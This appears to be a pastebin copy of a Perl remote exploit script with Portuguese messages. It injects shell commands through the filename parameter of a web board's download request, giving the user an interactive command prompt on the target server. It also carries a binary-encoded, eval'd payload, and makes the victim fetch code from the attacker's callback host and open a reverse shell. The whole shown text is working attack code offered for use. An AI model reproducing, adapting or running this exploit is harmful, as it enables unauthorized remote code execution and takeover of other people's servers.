010110000100000001010000010011101100001001001110010110000100000001001110110001000100111001011000010000000100111011000110010011100101100001000000010011101100100001001110010110000100000001001110110010100100111001011000010000000100111011001100010011100101001001010010011101101101101011110010010010001100010011101010110011000111101001001000110001001100001011100110110010100111011001001000110001001110101011001100010000000101110001111010010000001000000011100110110010101110010011010010110010101110011010110110010010001101110011101010110110100100000001111100011111000100000001101000010000000100110001000000011000100110101010111010011101100100100011000100111010101100110001000000010111000111101001000000100000001110011011101010110001001110011010110110010010001101110011101010110110100100000001001100010000000110001001101010101110100111011011100100110010101110100011101010111001001101110001000000010010001100010011101010110011000111011011111010111001101110101011000100010000001110011011000010110011001100101011011000110111101100001011001000010000001111011011011010111100100101000001001000110110101101111011001000111010101101100011001010010110000100000001001000111001001100101011100010111010101101001011100100110010100101100001000000010010001100001011100100110011100101001001111010100000001011111001110110110110101111001001001000110011001101001011011000110010100111101001001000110110101101111011001000111010101101100011001010011101100100100011001100110100101101100011001010011110101111110001000000111001101011011001110100011101001011101010110110010111101011101011001110011101101101001011001100010100000100100011100100110010101110001011101010110100101110010011001010010100101111011011011010110000101110000011110110110010101110110011000010110110000100000011100010111000101011011011100100110010101110001011101010110100101110010011001010010000000100010001001000101111100101111001001000110011001101001011011000110010100100010001110110101110100100000011010010110011000100000001011010110011000100000001000100010010001011111001011110010010001100110011010010110110001100101001000100011101101111101001000000100000001001001010011100100001100111011011111010110010101101100011100110110010101111011001001000110011001101001011011000110010100100000001011100011110100100000001001110010111001110000011011010010011100100000011101010110111001101100011001010111001101110011001000000010010001100110011010010110110001100101001000000011110101111110001000000010111100101000010111000010111001110000011011010111110001011100001011100111000001101000001010010010010000101111001110110111001001100101011101000111010101110010011011100010000001100101011101100110000101101100001000000010001001110101011100110110010100100000001001000110110101101111011001000111010101101100011001010010000000100100011000010111001001100111001110110010001000100000011010010110011000100000011001110111001001100101011100000010000001111011001011010110011000100000001000100010010001011111001011110010010001100110011010010110110001100101001000100011101101111101001000000100000001001001010011100100001100111011011111010111001001100101011101000111010101110010011011100010000000101011001010000010100100111011011111010111001101110101011000100010000001110111011100100110100101110100011001010101111101110011011010000110010101101100011011000010000001111011011011010111100100101000001001000110001101101100011010010010110000100000001001000110110101110011011001110010100100111101010000000101111100111011011011010111100100100100011100110110100001100101011011000110110000111101001001000100001101001100010010010100010101001110010101000111101100100100011000110110110001101001011111010111101100100111011100110110100001100101011011000110110000100111011111010011101101110010011001010111010001110101011100100110111000100000011101010110111001100100011001010110011000100000011101010110111001101100011001010111001101110011001000000010010001110011011010000110010101101100011011000011101101100110011011110111001001100101011000010110001101101000001000000110110101111001001000000010010001101101001000000010100001110011011100000110110001101001011101000101111101100011011010000110000101110010011100110010100000100100011011010111001101100111001011000010000000110010001100000010100100101001011110110111001001100101011000010110010001011111011100110110100001100101011011000110110001110011001000000011101101110000011100100110100101101110011101000010000000100100011100110110100001100101011011000110110000100000001001000110110100111011011100100110010101100001011001000101111101110011011010000110010101101100011011000111001100100000001110110111110101110010011001010111010001110101011100100110111000100000001100010011101101111101011100110111010101100010001000000111001101110000011011000110100101110100010111110110001101101000011000010111001001110011001000000111101101101101011110010010100000100100011011010111001101100111001011000010000000100100011011100110001101101000011000010111001001110011001010010011110101000000010111110011101101101101011110010100000001110011011100000110110001101001011101000110010101100100001110110110110101111001001010000100000001100011011010000111001001110011001010010011110101110011011100000110110001101001011101000010100000101111001011110010110000100000001001000110110101110011011001110010110000100000001100000010100100111011011011010111100100100100011001000110111101101110011001010011110100110000001110110111011101101000011010010110110001100101001010000011000100101001011110110110110101111001001001000111001101110000011011000110100101110100011001010110010000111101011010100110111101101001011011100010100000100111001001110010110000100000010000000110001101101000011100100111001101011011001001000110010001101111011011100110010100100000001011100010111000100000001001000110010001101111011011100110010100100000001010110010000000100100011011100110001101101000011000010111001001110011001000000010110100100000001100010101110100101001001110110010010001100100011011110110111001100101001000000010101100111101001000000010010001101110011000110110100001100001011100100111001100111011011011000110000101110011011101000010000001101001011001100010000001101100011001010110111001100111011101000110100000100000001001000111001101110000011011000110100101110100011001010110010000100000001111000010000000110001001110110111000001110101011100110110100000100000010000000111001101110000011011000110100101110100011001010110010000101100001000000010010001110011011100000110110001101001011101000110010101100100001110110111110101110010011001010111010001110101011100100110111000100000010000000111001101110000011011000110100101110100011001010110010000111011011111010111001101110101011000100010000001100110011010010110111001101001011100110110100001011111011000110110110001101001011001010110111001110100001000000111101101101101011110010010100000100100011000110110110001101001001011000010000000100100011011010111001101100111001010010011110101000000010111110011101101110111011100100110100101110100011001010101111101100011011011000110100101100101011011100111010000101000001001000110001101101100011010010010110000100000001001000110110101110011011001110010100100111011011000110110110001101111011100110110010101011111011000110110110001101001011001010110111001110100001010000010010001100011011011000110100100101001001110110111110101110011011101010110001000100000011000110110110001101111011100110110010101011111011000110110110001101001011001010110111001110100001000000111101101101101011110010010010001100011011011000110100100111101011100110110100001101001011001100111010000100000010000000101111100111011011011010111100100100100011100110110111101100011011010110011110100100100010000110100110001001001010001010100111001010100011110110010010001100011011011000110100101111101011110110010011101110011011011110110001101101011001001110111110100111011001001000111001101100101011011000101111101110011011001010111001001110110001011010011111001110010011001010110110101101111011101100110010100101000001001000111001101101111011000110110101100101001001110110110100101100110001010000010010001000011010011000100100101000101010011100101010001111011001001000110001101101100011010010111110101111011001001110111001101101000011001010110110001101100001001110111110100101001011110110110110101111001001001000111001101101000011001010110110001101100001111010010010001000011010011000100100101000101010011100101010001111011001001000110001101101100011010010111110101111011001001110111001101101000011001010110110001101100001001110111110100111011001001000111001101100101011011000101111101110011011010000110010101101100011011000010110100111110011100100110010101101101011011110111011001100101001010000010010001110011011010000110010101101100011011000010100100111011011000110110110001101111011100110110010100100000001001000111001101101000011001010110110001101100001110110111110100100100011100110110111101100011011010110010110100111110011000110110110001101111011100110110010100100000011010010110011000100000001001000111001101101111011000110110101100111011011001000110010101101100011001010111010001100101001000000010010001000011010011000100100101000101010011100101010001111011001001000110001101101100011010010111110100111011011111010111001101110101011000100010000001110111011100100110100101110100011001010101111101100011011011000110100101100101011011100111010000100000011110110110110101111001001010000010010001100011011011000110100100101100001000000010010001101101011100110110011100101001001111010100000001011111001110110110110101111001001001000111001101101111011000110110101100111101001001000100001101001100010010010100010101001110010101000111101100100100011000110110110001101001011111010111101100100111011100110110111101100011011010110010011101111101001110110111001101111001011100110111011101110010011010010111010001100101001000000010010001110011011011110110001101101011001011000010000000100100011011010111001101100111001011000010000001101100011001010110111001100111011101000110100000100000001001000110110101110011011001110010000001101001011001100010000000100100011100110110111101100011011010110011101101111101011100110111010101100010001000000111011001100001011010000010000001111011011100000111001001101001011011100111010000100000001000100010010001011111010110110011000001011101010111000110111000100010001110110110010101111000011010010111010000100000001100010011101101111101");eval"$C";';
  81.  
  82.  
  83. if ($CBHOST) {
  84.   my $len = length($cbshell);
  85.  
  86.   print "Binding on port $CBPORT\n";
  87.   $bind = IO::Socket::INET->new(LocalPort => $CBPORT, Proto => 'tcp', Listen => 1) || die "could not listen on port $CBPORT";
  88.   my $transfcmd = "perl -mIO::Socket -e 'fork && exit; \$pa = \"$CBHOST\";\$pp = $CBPORT; \$sock = IO::Socket::INET->new(PeerAddr => \$pa, PeerPort => \$pp, Proto => \"tcp\") || exit; \$stop = $len; \$tot = 0; \$code = \"\"; while(sysread(\$sock, \$msg, 1024)) { \$tot += length(\$msg); \$code .= \$msg; last if (\$tot >= \$stop); } \$sock->close(); system(\"perl -e \".chr(39).\$code.chr(39).\" \$pa \$pp\");'";
  89.   print "Transferring the Remote Code...\n";
  90.  
  91.   local($SIG{CHLD}) = sub { wait; };
  92.   my $pid = fork();
  93.  
  94.   unless($pid) {
  95.     print do_cmd($transfcmd);
  96.     exit;
  97.   }
  98.  
  99.   print "AGUARDANDO A CONEXAO PARA TRANSFERIR...\n";
  100.   my $remote = $bind->accept() || die "The box didn't connect";
  101.   print "Connected!....\n";
  102.  
  103.   my $sent = 0;
  104.   while ($sent < $len) {
  105.     my $s = substr($cbshell,$sent, 1024);
  106.     $sent += 1024;
  107.     print $remote $s;
  108.   }
  109.  
  110.   print "TRANSFER COMPLETE!\n";
  111. #  $remote->close() if ($remote->connected());
  112.   cbshellcli();
  113.  
  114.   exit(0);
  115. }
  116.  
  117. print "Type ^C To Close.\n\n>> Welcome Remote Exploit Command \n\n";
  118. while ( 1 ) {
  119.   print do_cmd(get_cmd());
  120. }
  121.  
  122. sub get_cmd {
  123.  
  124.   print "[$HOST ($PWD)]: ";
  125.  
  126.   chop (my $cmd = <STDIN>);
  127.  
  128.   return($cmd);
  129. }
  130.  
  131. sub try_vul {
  132.   my $try_to_say = "CONCLUIDO";
  133.   my @resp = do_cmd("echo $try_to_say");
  134. #  print STDOUT "@resp\n";# if (grep { $_ =~ /$try_to_say/ } @resp);
  135.   return(undef) unless(defined($resp[0]));
  136.  
  137.   $resp[$#resp] =~ s/\n//g;
  138. #  print STDOUT "res: $resp[$#resp]\n";
  139.   ($resp[$#resp] eq $try_to_say) ? 1 : undef;
  140. }
  141.  
  142. sub do_cmd {
  143.   my ($cmd, $env) = @_;
  144.  
  145.   $env = "CMD: cd $PWD; $cmd 2>&1;pwd";
  146.   my @resp = request(make_cmd_string('sh -c "$HTTP_CMD"'), $env);
  147.  
  148. #  print STDOUT "@resp\n";
  149.  
  150.   my $header_end;
  151.  
  152.   for (my $c = 0; $c <= $#resp; $c++) {
  153.     if ($resp[$c] eq "\r\n" or $resp[$c] eq "\n" ) {
  154.       $header_end = $c;
  155.       last;
  156.     }
  157.   }
  158.  
  159.   if ($resp[$#resp] !~ /\<.*(html|body)/i and $resp[$#resp] =~ /^\//) {
  160.     $PWD = $resp[$#resp];
  161.     chop($PWD);
  162.   }
  163. #  print STDOUT "($header_end == $#resp);\n";
  164.  
  165.   return() if ($header_end == $#resp);
  166.  
  167.   my @cmd_resp = @resp[($header_end+1) .. ($#resp-1)];
  168.   return(@cmd_resp);
  169. }
  170.  
  171. sub escape {
  172.    my $cmd = shift;
  173.  
  174. #   if ($URI) {
  175. #     $cmd = URI::Escape::uri_escape($cmd);
  176. #   } else {
  177.  
  178.      $cmd =~ s/ /%20/g;  # just a little treat for some chars if we dont have URI::Escape
  179.      $cmd =~ s/;/%3B/g;  # d common used
  180.      $cmd =~ s/\$/%24/g;
  181.      $cmd =~ s/\"/%22/g;
  182.  
  183. # not needed anymore for us..
  184. #     $cmd =~ s/\&/%26/g;
  185. #     $cmd =~ s/\>/%3E/g;
  186. #     $cmd =~ s/\</%3C/g;
  187. #     $cmd =~ s/\?/%3F/g;
  188. #     $cmd =~ s/\//%2F/g;
  189. #     $cmd =~ s/\\/%5C/g;
  190.  
  191. #   }
  192.  
  193.    return($cmd);
  194. }
  195.  
  196. sub make_cmd_string {
  197.    my $cmd = shift;
  198.  
  199.    $cmd = escape($cmd);
  200.  
  201.    if ($DOC =~ /\&/) {
  202.      return($DOC."%3B".$cmd."|");
  203.    } else {
  204.      return($DOC."?down_num=".$NUM."&board=any&command=down_load&filename=getfile.txt%3B".$cmd."|");
  205.    }
  206.  
  207. }
  208.  
  209. sub request {
  210.    my ($string, $env) = @_;
  211.  
  212.    $env .= "\r\n" if ($env);
  213.    my $sock = IO::Socket::INET->new(PeerHost => $HOST, PeerPort => $PORT, Proto => 'tcp') || die "Could not connect on $HOST:$PORT. Err: $!";
  214.  
  215.    print $sock "GET $string HTTP/1.0\r\nTE: deflate;q=0.3\r\nHost: $HOST\r\nUser-Agent: Getter/0.1\r\n$env\r\n";
  216.  
  217.    my @resp = <$sock>;
  218.  
  219.    return(@resp);
  220. }
  221.  
  222. sub cbshellcli {
  223.   use IO::Select;
  224.  
  225.   my $RK = undef;
  226.   map { $RK = 1 if (-r "$_/Term/ReadKey.pm") } @INC;
  227.   eval 'use Term::ReadKey' if ($RK);
  228.  
  229.   END {
  230.     if ($RK) {
  231.       Term::ReadKey::ReadMode(0);
  232. #    } else {
  233. #        system("stty sane");
  234.     }
  235.   }
  236.  
  237.   print "AGUARDE CONEXAO REMOTA.... ";
  238.   my $sock = $bind->accept();
  239.   print "OK!\n\nREAL SHELL!!\n\n";
  240.  
  241.  
  242.   if ($RK) {
  243.     Term::ReadKey::ReadMode(4);
  244. #  } else {
  245. ##      system("stty raw -echo");
  246. #      STDIN->autoflush(1);
  247. #system("stty -icanon -isig -iexten -echo -echoe -echok -echonl -echoctl -echoprt -echoke -ixon -ixany -brkint");
  248. #      sleep(2);
  249.   }
  250.  
  251.  
  252.   my $sel = IO::Select->new($sock);
  253.   $sel->add(\*STDIN);
  254.  
  255.   while ( 1 ) {
  256.     foreach my $fh ($sel->can_read(0.01)) {
  257.        my $msg;
  258.        my $nread = sysread($fh, $msg, 1024);
  259.        if ($fh eq $sock) {
  260.           if ($nread == 0) {
  261.             print STDOUT "\n\nCONEXAO FECHADA.\n\n";
  262.             exit;
  263.           }
  264.           print STDOUT $msg;
  265.        } else {
  266.            print $sock $msg;
  267.        }
  268.     }
  269.   }
  270. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement